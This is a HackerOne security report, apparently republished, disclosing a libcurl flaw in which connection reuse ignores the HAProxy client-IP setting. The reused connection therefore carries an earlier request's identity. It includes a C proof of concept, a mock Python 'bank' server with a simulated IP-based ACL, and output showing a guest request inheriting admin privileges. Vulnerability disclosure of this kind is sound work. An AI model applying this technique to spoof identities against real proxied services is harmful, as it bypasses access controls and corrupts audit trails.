HACKERONE

curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613

Description

##Executive Summary

`libcurl` fails to respect the `CURLOPT_HAPROXY_CLIENT_IP` configuration when reusing existing connections. Due to a missing check in the connection pooling logic, `libcurl` indiscriminately reuses a TCP/TLS connection established with a specific identity (IP A) for subsequent requests requiring a different identity (IP B).

Since the HAProxy PROXY protocol header is immutable and only sent during the initial connection handshake, the upstream server attributes the new request to the **previous identity**. This allows a low-privileged request to tunnel through a connection established by a high-privileged user, bypassing IP-based ACLs and inheriting the authenticated mTLS context of the previous session.

## Technical Root Cause Analysis
The vulnerability stems from an architectural omission introduced when `CURLOPT_HAPROXY_CLIENT_IP` was added in version 8.2.0.

1. **Missing State Storage (`lib/urldata.h`):** The `struct connectdata` (which represents an active connection) does not store the `haproxy_client_ip` used at creation time. The identity information is ephemeral and lost immediately after the handshake.
2. **Defective Matching Logic (`lib/url.c`):** The `ConnectionExists()` function checks for host, port, protocol, and credentials (username/password) matches but **ignores** `CURLOPT_HAPROXY_CLIENT_IP`. Since the connection structure doesn't hold the old value, a comparison is impossible in the current architecture.
3. **Violation of API Contract:** The documentation states the IP is sent "at the beginning of the connection". By reusing a connection where the header was already sent with a different value, `libcurl` violates this contract.


##Affected version

curl -V
WARNING: this libcurl is Debug-enabled, do not use in production

curl 8.18.0-DEV (x86_64-pc-linux-gnu) libcurl/8.18.0-DEV wolfSSL/5.8.4 libidn2/2.3.3 libpsl/0.21.2 ngtcp2/1.19.0-DEV nghttp3/1.1
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS Debug HSTS HTTP3 HTTPS-proxy IDN IPv6 Largefile PSL SSL threadsafe TrackMemory UnixSockets


cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"


## Proof of Concept

### A. The Vulnerable Client (`poc.c`)
*Compile with:* `gcc -o poc poc.c -lcurl`

```c

#include <stdio.h>
#include <curl/curl.h>
#include <unistd.h>

int main(void) {
CURL *curl;
CURLcode res;

curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();

if(curl) {
printf("--- PoC: CRITICAL IDENTITY HIJACKING ---\n");

// Configuration Commune
curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:8080/");
curl_easy_setopt(curl, CURLOPT_HAPROXYPROTOCOL, 1L);
curl_easy_setopt(curl, CURLOPT_TCP_KEEPALIVE, 1L); // Force Reuse
curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);

// --- PHASE 1 : TRANSACTION ADMIN ---
printf("\n[STEP 1] Executing ADMIN Transaction (IP: 10.0.0.1)...\n");
curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, "10.0.0.1");

res = curl_easy_perform(curl);
if(res == CURLE_OK) printf("-> Admin Request Sent.\n");

// Petite pause pour bien séparer les logs visuellement
sleep(1);

// --- PHASE 2 : TRANSACTION GUEST (L'ATTAQUE) ---
printf("\n[STEP 2] Executing GUEST Transaction (IP: 66.66.66.66)...\n");
printf("EXPECTED: New Connection with Identity 66.66.66.66\n");
printf("ACTUAL: Reuse Connection with Identity 10.0.0.1 (PRIVILEGE ESCALATION)\n");

// Changement d'identité : CELA DEVRAIT FORCER UNE NOUVELLE CONNEXION
curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, "66.66.66.66");

res = curl_easy_perform(curl);
if(res == CURLE_OK) printf("-> Guest Request Sent.\n");

curl_easy_cleanup(curl);
}
curl_global_cleanup();
return 0;
}

```

### B. The Victim Server


```python

#!/usr/bin/env python3
import socket
import sys
import time

# Configuration
HOST = '127.0.0.1'
PORT = 8080

def start_server():
print(f"[*] BANK BACKEND listening on {HOST}:{PORT}")
print("[*] Waiting for HAProxy connections...")

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(5)

try:
while True:
client_sock, addr = server_socket.accept()
print(f"\n[+] NEW SECURE CHANNEL OPENED from {addr}")

# Identité de la connexion (Liée au socket TCP)
current_identity = "UNKNOWN"

with client_sock:
# Lecture initiale (Handshake)
data = client_sock.recv(4096).decode('utf-8', errors='ignore')

# Parsing de l'identité HAProxy (PROXY TCP4 IP_SRC ...)
if data.startswith('PROXY'):
parts = data.split(' ')
if len(parts) > 2:
current_identity = parts[2] # L'IP source
print(f" [SECURITY] PROXY HEADER RECEIVED. IDENTITY LOCKED: {current_identity}")

# Simulation ACL
if current_identity == "10.0.0.1":
print(" [ACL] ROLE: ADMIN (High Privilege)")
else:
print(" [ACL] ROLE: GUEST (Low Privilege)")

# Réponse à la 1ère requête
response = "HTTP/1.1 200 OK\r\nContent-Length: 5\r\nConnection: keep-alive\r\n\r\nDONE\n"
client_sock.sendall(response.encode())

# --- LA FAILLE : RÉUTILISATION ---
# On attend une 2ème requête sur le MÊME canal
client_sock.settimeout(2.0)
try:
while True:
data = client_sock.recv(4096)
if not data: break

print(f"\n [!!!] NEW REQUEST RECEIVED ON EXISTING CHANNEL")
print(f" [!!!] CRITICAL: REUSING LOCKED IDENTITY: {current_identity}")

if current_identity == "10.0.0.1":
print(" [ACCESS CONTROL] ACTION AUTHORIZED (Inherited Admin Privileges)")
else:
print(" [ACCESS CONTROL] ACTION DENIED")

client_sock.sendall(response.encode())
except socket.timeout:
print(" [-] Connection idle.")

except KeyboardInterrupt:
print("\n[*] Stopping server.")
finally:
server_socket.close()

if __name__ == '__main__':
start_server()

```
output :

```
python3 bank_server.py
[*] BANK BACKEND listening on 127.0.0.1:8080
[*] Waiting for HAProxy connections...

[+] NEW SECURE CHANNEL OPENED from ('127.0.0.1', 45200)
[SECURITY] PROXY HEADER RECEIVED. IDENTITY LOCKED: 10.0.0.1
[ACL] ROLE: ADMIN (High Privilege)

[!!!] NEW REQUEST RECEIVED ON EXISTING CHANNEL
[!!!] CRITICAL: REUSING LOCKED IDENTITY: 10.0.0.1
[ACCESS CONTROL] ACTION AUTHORIZED (Inherited Admin Privileges)
```

## Impact

## Impact

**1. IP-Based Access Control Bypass (ACLs)**

**2. mTLS Context Smuggling **
In architectures using Mutual TLS (mTLS), the client identity is bound to the underlying TCP/TLS connection.
If `libcurl` reuses a connection established with a high-privileged Client Certificate (e.g., Admin) for a subsequent request intended for a low-privileged context (e.g., Guest), the second request **inherits the authenticated TLS context** of the first. This allows a low-privileged user to tunnel requests through an authenticated session, effectively hijacking the previous user's identity.

**3. Audit Trail Corruption**
Security logs on the upstream server will incorrectly attribute malicious or unauthorized actions to the identity of the initial connection owner.

**4. Violation of API Contract**
Users explicitly setting `CURLOPT_HAPROXY_CLIENT_IP` expect `libcurl` to present that specific identity to the server. Ignoring this parameter during connection reuse silently violates the security expectations of the application developer.
Visit Original Source

Basic Information

ID H1:3475613
Published Dec 22, 2025 at 19:14
Modified Dec 23, 2025 at 13:51

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.